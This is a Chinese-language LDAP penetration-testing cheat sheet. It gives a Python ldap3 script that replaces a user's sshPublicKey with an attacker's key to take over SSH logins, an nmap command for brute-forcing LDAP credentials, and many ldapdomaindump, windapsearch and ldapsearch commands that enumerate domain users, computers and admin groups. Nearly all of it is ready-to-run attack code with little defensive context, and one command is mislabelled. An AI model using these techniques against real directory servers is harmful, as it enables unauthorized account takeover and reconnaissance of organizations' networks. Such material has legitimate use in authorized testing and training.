LDAP渗透测试
- 1.LDAP协议概述
- 2.LDAP写公钥
- 3.暴力破解LDAP
- 4.LDAP信息收集
- ldapdomaindump
- windapsearch工具
- ldapsearch
1.LDAP协议概述
LDAP(Lightweight Directory Access Protocol,轻量目录访问协议)是一种访问和管理目录服务的应用层协议,常用于存储和查询用户、组织、设备等信息
LDAP 就像一个电话簿系统,你可以通过它来查询”某个用户的邮箱”、“某个部门下有哪些员工”等等。而这个电话簿不是存在一个文件里,而是以结构化方式存储在服务器中,并可以被程序调用和管理
默认端口: 389 和 636(ldaps)。全局目录(ActiveDirectory 中的 LDAP)默认在端口 3268 上可用,LDAPS 默认在端口 3269 上可用
2.LDAP写公钥
如果发现 LDAP 中的用户条目包含 sshPublicKey
属性,且当前用户对这个属性具有写权限,那么你就可能直接远程登录该用户的系统账号(通过 SSH 公钥)
利用脚本:
from ldap3 import Server, Connection, MODIFY_REPLACE
server = Server('x.x.x.x', port=636, use_ssl=True)
conn = Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
# 查看身份
print(conn.extend.standard.who_am_i())
# 替换 sshPublicKey 属性值
conn.modify(
'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
{
'sshPublicKey': [(MODIFY_REPLACE, ['ssh-rsa AAAAB3... badguy@evil'])]
}
)
3.暴力破解LDAP
可以使用 nmap 插件:
nmap --script ldap-brute -p 389 <IP>
4.LDAP信息收集
ldapdomaindump
如果您具有登录 LDAP 服务器的有效凭据,则可以使用以下命令转储有关域管理员的所有信息:
pip3 install ldapdomaindump
ldapdomaindump <IP> \
-u '<domain>\<username>' \
-p '<password>' \
--no-json \
--no-grep \
[-o /path/dir]
windapsearch工具
可以直接使用工具进行利用:windapsearch
一个 Python 脚本,可用于利用 LDAP 查询从 Windows 域中枚举用户、组和计算机
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
1、检查空凭证或有账密的凭证是否有效
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
如果密码不对,会有如下报错信息:
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
2、从域中提取所有内容
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
3、提取用户
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
4、提取计算机
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
5、提取我的信息
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
6、提取域管理员信息
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
7、提取域用户信息
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
8、提取企业管理员信息
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
9、提取管理员信息
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
10、提取远程桌面组信息
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"